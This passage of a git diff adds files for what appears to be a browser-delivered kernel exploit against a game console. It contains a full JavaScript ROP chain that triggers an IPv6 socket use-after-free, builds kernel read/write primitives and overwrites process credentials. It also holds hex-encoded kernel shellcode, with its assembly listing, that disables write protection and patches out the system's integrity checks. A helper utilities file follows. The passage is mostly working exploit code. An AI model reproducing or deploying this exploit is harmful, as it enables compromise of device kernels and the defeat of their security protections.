i)); + } + for (var i = 0; i < NUM_LEAK_SOCKS; i++) { + chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + chain.write_result4(leak_sockets_ptr.add32(0x4 * i)); + } + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + chain.write_result4(slave_sockets_ptr.add32(0x4 * i)); + } + } + chain.run(); + + const spray_sockets = p.array_from_address(spray_sockets_ptr, NUM_SPRAY_SOCKS); + const spray_socks_tclasses = p.array_from_address(spray_socks_tclasses_ptr, NUM_SPRAY_SOCKS); + + const leak_sockets = p.array_from_address(leak_sockets_ptr, NUM_LEAK_SOCKS); + const slave_sockets = p.array_from_address(slave_sockets_ptr, NUM_SLAVE_SOCKS); + + const fix_me = p.array_from_address(fix_these_sockets_ptr, NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x2); + + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + fix_me[i] = spray_sockets[i]; + } + for (var i = 0; i < NUM_LEAK_SOCKS; i++) { + fix_me[i + NUM_SPRAY_SOCKS] = leak_sockets[i]; + } + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + fix_me[i + (NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS)] = slave_sockets[i]; + } + + fix_me[NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x0] = master_socket; + fix_me[NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x1] = spare_socket; + + for (var i = 0; i < 10; i++) { + p.write8(fake_socketops.add32(i * 0x8), window.gadgets["ret"]); + } + p.write8(fake_socketops.add32(0x50), 1); + + var thr1_start; + var thr1_ctrl; + const thread1 = chain.spawn_thread("thread1", function (new_thr) { + const loop_start = new_thr.get_rsp(); + const trigger_condition = new_thr.create_equal_branch(triggered, 1); + + const triggered_false = new_thr.get_rsp(); + new_thr.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_thr1_tclass, size_of_tclass); + const overlap_condition = new_thr.create_equal_branch(master_thr1_tclass, SPRAY_TCLASS); + + const overlap_false = new_thr.get_rsp(); + new_thr.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, valid_pktopts, size_of_valid_pktopts); + new_thr.push(window.gadgets["pop rdi"]); + var dest_idx = new_thr.pushSymbolic(); + new_thr.push(window.gadgets["pop rsi"]); + var src_idx = new_thr.pushSymbolic(); + new_thr.push(window.gadgets["mov [rdi], rsi"]); + var l1 = new_thr.get_rsp(); + new_thr.push(window.gadgets["pop rsp"]); + var l2 = new_thr.get_rsp(); + new_thr.push(0x43434343); + + new_thr.finalizeSymbolic(dest_idx, l2); + new_thr.finalizeSymbolic(src_idx, l1); + thr1_start = loop_start; + thr1_ctrl = l2; + + const overlap_true = new_thr.get_rsp(); + new_thr.push_write8(triggered, 1); + + const triggered_true = new_thr.get_rsp(); + new_thr.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0); + + new_thr.set_branch_points(trigger_condition, triggered_true, triggered_false); + new_thr.set_branch_points(overlap_condition, overlap_true, overlap_false); + }); + + //boys dont race too fast now, kthx. + var me = chain.call(libKernelBase.add32(OFFSET_lk_pthread_self)); + var prio = p.malloc(0x8); + p.write4(prio, 0x100); + var r = chain.call(libKernelBase.add32(OFFSET_lk_pthread_setschedparam), me, 1, prio); + + const thread3 = new rop(); { + //main loop + const loop_start = thread3.get_rsp(); + //set valid. + thread3.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, valid_pktopts, size_of_valid_pktopts); + //make thr1 give it a go + thread3.push_write8(thr1_ctrl, thr1_start); + thread3.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_thr2_tclass, size_of_tclass); + thread3.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + thread3.syscall_safe(105, spray_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, spray_tclass, 4); + } + thread3.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_main_tclass, size_of_tclass); + const overlap_condition = thread3.create_equal_branch(master_main_tclass, SPRAY_TCLASS); + const overlap_false = thread3.get_rsp(); + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + thread3.syscall_safe(105, spray_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + } + thread3.jmp_rsp(loop_start); + const overlap_true = thread3.get_rsp(); + thread3.push_write8(triggered, 1); + thread3.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_TCLASS, taint_tclass, 4); + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + thread3.fcall(syscalls[118], spray_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, spray_socks_tclasses_ptr.add32(0x4 * i), size_of_tclass); + } + //make sure the thread will exit(?) + thread3.push_write8(thr1_ctrl, thr1_start); + thread3.set_branch_points(overlap_condition, overlap_true, overlap_false); + } + //trigger uaf + thread1(); + thread3.run(); + + function find_socket_overlap() { + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + if (spray_socks_tclasses[i] == TAINT_CLASS) { + overlapped_socket = spray_sockets[i]; + overlapped_socket_idx = i; + return; + } + } + alert("[ERROR] -> failed to find socket overlap. (should be unreachable)"); + while (1) {}; + } + + function fake_pktopts(pktinfo) { + { + + chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, 0x100); + chain.push_write8(rthdr_buffer.add32(0x0), 0x0F001E00); + chain.push_write8(rthdr_buffer.add32(PKTOPTS_PKTINFO_OFFSET), pktinfo); + chain.push_write8(loop_counter, 0); + chain.push_write8(tmp_tclass, 0x1); + for (var i = 0; i < NUM_LEAK_SOCKS; i++) { + chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4); + } + chain.fcall(window.syscalls[105], overlapped_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + + const loop_start = chain.get_rsp(); + const loop_condition = chain.create_equal_branch(loop_counter, 0x100); + + const loop_condition_false = chain.get_rsp(); + for (var i = 0; i < NUM_LEAK_SOCKS; i++) { + chain.push_write8(rthdr_buffer.add32(PKTOPTS_TCLASS_OFFSET), (TCLASS_MASTER | i)); + chain.syscall_safe(105, leak_sockets[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, 0xF8); + } + chain.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, size_of_tclass); + const overlap_condition = chain.create_greater_or_equal_branch(tmp_tclass, TCLASS_MASTER); + + const overlap_false = chain.get_rsp(); + chain.push(window.gadgets["pop rax"]); + chain.push(loop_counter); + chain.push(window.gadgets["inc dword [rax]"]); + chain.jmp_rsp(loop_start); + + const loop_condition_true = chain.get_rsp(); + const overlap_true = chain.get_rsp(); + + chain.set_branch_points(loop_condition, loop_condition_true, loop_condition_false); + chain.set_branch_points(overlap_condition, overlap_true, overlap_false); + } + chain.run(); + + const tclass = p.read4(tmp_tclass); + if ((tclass & 0xFFFF0000) == TCLASS_MASTER) { + overlapped_socket_idx = (tclass & 0x0000FFFF); + overlapped_socket = leak_sockets[overlapped_socket_idx]; + return; + } + alert("[ERROR] failed to find RTHDR <-> master socket overlap"); + while (1) {}; + + } + + function leak_rthdr_address(size) { + const ip6r_len = ((size >> 3) - 1 & ~1); + const ip6r_segleft = (ip6r_len >> 1); + const header = (ip6r_len << 8) + (ip6r_segleft << 24); { + chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, size); + chain.push_write8(rthdr_buffer, header); + chain.push_write8(ptr_size_of_rthdr_buffer, size); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ((ip6r_len + 1) << 3)); + chain.fcall(syscalls[118], overlapped_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ptr_size_of_rthdr_buffer); + } + chain.run(); + const kaddress = p.read8(rthdr_buffer.add32(PKTOPTS_RTHDR_OFFSET)); + return kaddress; + } + + function leak_pktopts() { + leaked_pktopts_address = leak_rthdr_address(0x100); { + chain.push_write8(tmp_tclass, 0x10); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, 0, 0); + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + chain.fcall(syscalls[105], slave_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4); + } + } + chain.run(); + } + + function find_slave() { + { + chain.push_write8(pktinfo_buffer, leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)); + chain.push_write8(pktinfo_buffer.add32(0x8), 0); + chain.push_write8(pktinfo_buffer.add32(0x10), 0); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + chain.fcall(syscalls[118], slave_sockets[i], IPPROTO_IPV6, IPV6_PKTINFO, find_slave_buffer.add32(0x8 * i), pktinfo_buffer_len); + } + } + chain.run(); + + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + if (p.read4(find_slave_buffer.add32(0x8 * i)) == (leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)).low) { + slave_socket = slave_sockets[i]; + return; + } + } + alert("[ERROR] failed to find slave"); + while (1) {}; + } + + function kernel_read8(address) { + { + chain.push_write8(pktinfo_buffer, address); + chain.push_write8(pktinfo_buffer.add32(0x8), 0); + chain.push_write8(pktinfo_buffer.add32(0x10), 0); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); + chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len) + } + chain.run(); + return p.read8(pktinfo_buffer); + } + + function kernel_write8(address, value) { + { + chain.push_write8(pktinfo_buffer, address); + chain.push_write8(pktinfo_buffer.add32(0x8), 0); + chain.push_write8(pktinfo_buffer.add32(0x10), 0); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); + chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len); + chain.push_write8(pktinfo_buffer, value); + chain.fcall(syscalls[105], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); + } + chain.run(); + } + + function brute_force_kernel_map() { + var attempt = new int64(((leaked_pktopts_address.low & 0xFE000000) + VM_MAP_PMAP_OFFSET), leaked_pktopts_address.hi); + for (var i = 0; i < 0xC0; i++) { + var kernel_pmap_store = kernel_read8(attempt); + if (kernel_pmap_store.hi == 0xFFFFFFFF && ((kernel_pmap_store.low & 0x3FFF) == (KERNEL_PMAP_STORE_OFFSET & 0x3FFF))) { + kernel_base = kernel_pmap_store.sub32(KERNEL_PMAP_STORE_OFFSET); + if ((kernel_base.low & 0x3FFF) == 0x0) { + return; + } + } + attempt.sub32inplace(0x01000000); + } + alert("[ERROR] failed to find kernel_map"); + while (1) {}; + } + + function find_proc() { + var proc = kernel_read8(kernel_base.add32(KERNEL_ALLPROC_OFFSET)); + while (proc.low != 0) { + var pid = kernel_read8(proc.add32(PROC_PID_OFFSET)); + if (pid.low == this_pid) { + return proc; + } + proc = kernel_read8(proc); + } + alert("[ERROR] failed to find proc"); + while (1) {}; + } + + function find_execution_socket() { + + var filedesc = kernel_read8(proc.add32(PROC_FILEDESC_OFFSET)); + var ofiles = kernel_read8(filedesc); + target_file = kernel_read8(ofiles.add32(0x8 * target_socket)) + socketops = kernel_read8(target_file.add32(FILE_FOPS_OFFSET)); + } + //lower priority + p.write4(prio, 0x1FF); + chain.call(libKernelBase.add32(OFFSET_lk_pthread_setschedparam), me, 1, prio); + //find uaf + find_socket_overlap(); + //play with uaf + fake_pktopts(0); + leak_sockets[overlapped_socket_idx] = spare_socket; + //leak shit + leak_pktopts(); + fake_pktopts(leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)); + //find vvictim + find_slave(); + brute_force_kernel_map(); + const proc = find_proc(); + const proc_ucred = kernel_read8(proc.add32(PROC_UCRED_OFFSET)); + kernel_write8(proc_ucred.add32(0x68), new int64(0xFFFFFFFF, 0xFFFFFFFF)); + + find_execution_socket(); + var exec_handle = chain.syscall(533, 0, 0x100000, 7); + var write_handle = chain.syscall(534, exec_handle, 3); + var write_address = chain.syscall(477, new int64(0x91000000, 0x9), 0x100000, 3, 17, write_handle, 0); + var exec_address = chain.syscall(477, new int64(0x90000000, 0x9), 0x100000, 0x5, 1, exec_handle, 0) + chain.syscall(324, 1); + if(exec_address.low != 0x90000000) { + alert("[ERROR] failed to allocate jit memory"); + while(1){}; + } + var exec_writer = p.array_from_address(write_address, 0x4000); + for(var i = 0; i < 0x200; i++) { + exec_writer[i] = 0x90909090; + } + exec_writer[0x200] = 0x37C0C748; + exec_writer[0x201] = 0xC3000013; + if(chain.call(exec_address).low != 0x1337) { + alert("[ERROR] hmm weird"); + while(1){}; + } + + exec_writer[0] = 0x54415355; + exec_writer[1] = 0x1111BB48; + exec_writer[2] = 0x11111111; + exec_writer[3] = 0xBD481111; + exec_writer[4] = 0x22222222; + exec_writer[5] = 0x22222222; + exec_writer[6] = 0xBFE4314D; + exec_writer[7] = 0x000000C0; + exec_writer[8] = 0xBADE8948; + exec_writer[9] = 0x00000002; + exec_writer[10] = 0x8349D5FF; + exec_writer[11] = 0x814901C4; + exec_writer[12] = 0x000500FC; + exec_writer[13] = 0x41E47500; + exec_writer[14] = 0x655D5B5C; + exec_writer[15] = 0x25048B48; + exec_writer[16] = 0x00000000; + exec_writer[17] = 0x08408B48; + exec_writer[18] = 0x48408B48; + exec_writer[19] = 0x48008B48; + exec_writer[20] = 0x333333B9; + exec_writer[21] = 0x33333333; + exec_writer[22] = 0xC7C74833; + exec_writer[23] = 0x000002BE; // num sockets + exec_writer[24] = 0x48F63148; + exec_writer[25] = 0x117DFE39; + exec_writer[26] = 0x48B1148B; + exec_writer[27] = 0x00D004C7; + exec_writer[28] = 0x48000000; + exec_writer[29] = 0xEB01C683; + exec_writer[30] = 0x44BF48EA; + exec_writer[31] = 0x44444444; + exec_writer[32] = 0x48444444; + exec_writer[33] = 0x555555BE; + exec_writer[34] = 0x55555555; + exec_writer[35] = 0x37894855; + exec_writer[36] = 0x6666BF48; + exec_writer[37] = 0x66666666; + exec_writer[38] = 0x200F6666; + exec_writer[39] = 0xFF2548C0; + exec_writer[40] = 0x0FFFFEFF; + exec_writer[41] = 0x87C6C022; + exec_writer[42] = 0x0063A160; + exec_writer[43] = 0xC087C7C3; + exec_writer[44] = 0x480063AC; + exec_writer[45] = 0xC7C3C031; + exec_writer[46] = 0x639F1087; + exec_writer[47] = 0xC0314800; + exec_writer[48] = 0xE087C7C3; + exec_writer[49] = 0x480063A6; + exec_writer[50] = 0xC6C3C031; + exec_writer[51] = 0x67B5C087; + exec_writer[52] = 0xBE480002; + exec_writer[53] = 0x90909090; + exec_writer[54] = 0x8B499090; + exec_writer[55] = 0x08B78948; + exec_writer[56] = 0xC700264C; + exec_writer[57] = 0x087B7087; + exec_writer[58] = 0x0000B800; + exec_writer[59] = 0x9087C700; + exec_writer[60] = 0x00000004; + exec_writer[61] = 0x66000000; + exec_writer[62] = 0x04B987C7; + exec_writer[63] = 0x90900000; + exec_writer[64] = 0xBD87C766; + exec_writer[65] = 0x90000004; + exec_writer[66] = 0x87C76690; + exec_writer[67] = 0x000004C6; + exec_writer[68] = 0x87C6E990; + exec_writer[69] = 0x001D2336; + exec_writer[70] = 0x3987C637; + exec_writer[71] = 0x37001D23; + exec_writer[72] = 0xC187C766; + exec_writer[73] = 0x9000094E; + exec_writer[74] = 0x87C766E9; + exec_writer[75] = 0x0009547B; + exec_writer[76] = 0x87C7E990; + exec_writer[77] = 0x002F2C20; + exec_writer[78] = 0xC3C03148; + exec_writer[79] = 0x7087C748; + exec_writer[80] = 0x02011258; + exec_writer[81] = 0x48000000; + exec_writer[82] = 0xB192B78D; + exec_writer[83] = 0x89480006; + exec_writer[84] = 0x125878B7; + exec_writer[85] = 0x9C87C701; + exec_writer[86] = 0x01011258; + exec_writer[87] = 0x48000000; + exec_writer[88] = 0x0100000D; + exec_writer[89] = 0xC0220F00; + exec_writer[90] = 0x8080B848; + exec_writer[91] = 0x80808080; + exec_writer[92] = 0x90C38080; + + p.write8(write_address.add32(0x6), kernel_base.add32(KERNEL_M_IP6OPT_OFFSET)); + p.write8(write_address.add32(0x10), kernel_base.add32(KERNEL_MALLOC_OFFSET)); + p.write8(write_address.add32(0x51), fix_these_sockets_ptr); + + p.write8(write_address.add32(0x7B), target_file.add32(FILE_FOPS_OFFSET)); + p.write8(write_address.add32(0x85), socketops); + p.write8(write_address.add32(0x92), kernel_base); + + p.write8(fake_socketops.add32(FILEOPS_IOCTL_OFFSET), exec_address); + kernel_write8(target_file.add32(FILE_FOPS_OFFSET), fake_socketops); + chain.syscall(54, target_socket, 0x20001111, 0); + //alert("executed in kernel"); + //p.write8(0, 0); +} +/* + - assemble & take every 4 bytes, byteswap and assign them to exec_writer + - overwrite dynamic stuff after +*/ +/* +//spam malloc, this should not be required anymore +push rbp +push rbx +push r12 + +mov rbx, 0x1111111111111111 +mov rbp, 0x2222222222222222 +xor r12, r12 + +kmalloc_loop: + mov edi, 0xC0 + mov rsi, rbx + mov edx, 2 + call rbp + add r12, 0x1 + cmp r12, 0x500 + jne kmalloc_loop + +pop r12 +pop rbx +pop rbp + +//kill all of our socket file*'s just in case +//get thr pointer +mov rax, qword ptr gs:[0x0] +//get proc pointer +mov rax, qword ptr [rax + 0x8] +//get filedesc pointer +mov rax, qword ptr [rax + 0x48] +//get file pointer pointer +mov rax, qword ptr [rax + 0x0] + +mov rcx, 0x3333333333333333 +mov rdi, 0x2BE +xor rsi, rsi +loop_check: + cmp rsi, rdi + jge end + mov edx, dword ptr [rcx + 0x4 * rsi] + mov qword ptr [rax + rdx * 0x8], 0x0 + add rsi, 0x1 + jmp loop_check + +end: + +//socketops field pointer +mov rdi, 0x4444444444444444 +//original socketops pointer +mov rsi, 0x5555555555555555 +mov qword ptr [rdi], rsi +//kernel base +mov rdi, 0x6666666666666666 + +//disable wp +mov rax, cr0 +and rax, 0xFFFFFFFFFFFEFFFF +mov cr0, rax + +//sysveri just die +mov byte ptr [rdi + 0x63a160], 0xC3 +mov dword ptr [rdi + 0x63acc0], 0xC3C03148 +mov dword ptr [rdi + 0x639f10], 0xC3C03148 +mov dword ptr [rdi + 0x63a6e0], 0xC3C03148 +mov byte ptr [rdi + 0x267b5c0], 0x00 + +//mprotect +mov rsi, 0x8B49909090909090 +mov qword ptr [rdi + 0x264C08], rsi + +//setuid +mov dword ptr [rdi + 0x87B70], 0xB8 + +//syscall everywhere +mov dword ptr [rdi + 0x490], 0x0 +mov word ptr [rdi + 0x4B9], 0x9090 +mov word ptr [rdi + 0x4BD], 0x9090 +mov word ptr [rdi + 0x4C6], 0xE990 + +//rwx mmap +mov byte ptr [rdi + 0x1D2336], 0x37 +mov byte ptr [rdi + 0x1D2339], 0x37 + +//patch load prx +mov word ptr [rdi + 0x94EC1], 0xE990 + +//dlsym +mov word ptr [rdi + 0x9547B], 0xE990 +mov dword ptr [rdi + 0x2F2C20], 0xC3C03148 + +//syscall 11 +mov qword ptr [rdi + 0x1125870], 0x2 +lea rsi, [rdi + 0x6B192] +mov qword ptr [rdi + 0x1125878], rsi +mov dword ptr [rdi + 0x112589C], 0x1 + +//enable wp +or rax, 0x10000 +mov cr0, rax +mov rax, 0x8080808080808080 +ret +*/ + + +//rdi +//rsi +//rdx +//rcx +//r8 +//r9 \ No newline at end of file diff --git a/702/utils.js b/702/utils.js new file mode 100644 index 00000000..cfb0e951 --- /dev/null +++ b/702/utils.js @@ -0,0 +1,121 @@ +function die(msg) { + alert(msg); + undefinedFunction(); +} + +function debug_log(msg) { + let textNode = document.createTextNode(msg); + let node = document.createElement("p").appendChild(textNode); + + document.body.appendChild(node); + document.body.appendChild(document.createElement("br")); +} + +// The following functions are taken from https://github.com/saelo/jscpwn/: +// hex, hexlify, unhexlify, hexdump +// Copyright (c) 2016 Samuel Groß + +// Return the hexadecimal representation of the given byte. +function hex(b) { + return ('0' + b.toString(16)).substr(-2); +} + +// Return the hexadecimal representation of the given byte array. +function hexlify(bytes) { + var res = []; + for (var i = 0; i < bytes.length; i++) + res.push(hex(bytes[i])); + + return res.join(''); +} + +// Return the binary data represented by the given hexdecimal string. +function unhexlify(hexstr) { + if (hexstr.length % 2 == 1) + throw new TypeError("Invalid hex string"); + + var bytes = new Uint8Array(hexstr.length / 2); + for (var i = 0; i < hexstr.length; i += 2) + bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16); + + return bytes; +} + +function hexdump(data) { + if (typeof data.BYTES_PER_ELEMENT !== 'undefined') + data = Array.from(data); + + var lines = []; + for (var i = 0; i < data.length; i += 16) { + var chunk = data.slice(i, i + 16); + var parts = chunk.map(hex); + if (parts.length > 8) + parts.splice(8, 0, ' '); + lines.push("" + i.toString(16) + " : " + parts.join(' ')); + // lines.push(parts.join(' ')); + } + + return lines.join('\n'); +} + +function buf2hex(buffer) { + return Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join(''); +} + +// Simplified version of the similarly named python module. +var Struct = (function () { + // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. + var buffer = new ArrayBuffer(8); + var byteView = new Uint8Array(buffer); + var uint32View = new Uint32Array(buffer); + var float64View = new Float64Array(buffer); + + return { + pack: function (type, low, high) { + var view = type; + view[0] = low; + /*if (arguments.length == 2) { + view[1] = high; + }*/ + return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); + }, + + unpack: function (type, bytes) { + if (bytes.length !== type.BYTES_PER_ELEMENT) + throw Error("Invalid bytearray"); + + var view = type; // See below + byteView.set(bytes); + return view[0]; + }, + + // Available types. + int8: byteView, + int32: uint32View, + float64: float64View + }; +})(); + +var backingBuffer = new ArrayBuffer(8); +var f = new Float32Array(backingBuffer); +var i = new Uint32Array(backingBuffer); + +function i2f(num) { + i[0] = num; + return f[0]; +} + +function f2i(num) { + f[0] = num; + return i[0]; +} + +function str2array(str, length, offset) { + if (offset === undefined) + offset = 0; + var a = new Array(length); + for (var i = 0; i < length; i++) { + a[i] = str.charCodeAt(i + offset); + } + return a; +} \ No newline at end of file diff --git a/702/vr.bin b/702/vr.bin new file mode 100644 index 00000000..83f12c75 Binary files /dev/null and b/702/vr.bin differ diff --git a/702/web.html b/702/web.html new file mode 100644 index 00000000..a87e4cf9 --- /dev/null +++ b/702/web.html @@ -0,0 +1,47 @@ + + +

Loading...

+ +
+

Italic text

+ + + + + + + + + + + +
H1H2H3
text
+
+ + + + + + diff --git a/702/webrte.bin b/702/webrte.bin new file mode 100644 index 00000000..e329f8c5 Binary files /dev/null and b/702/webrte.bin differ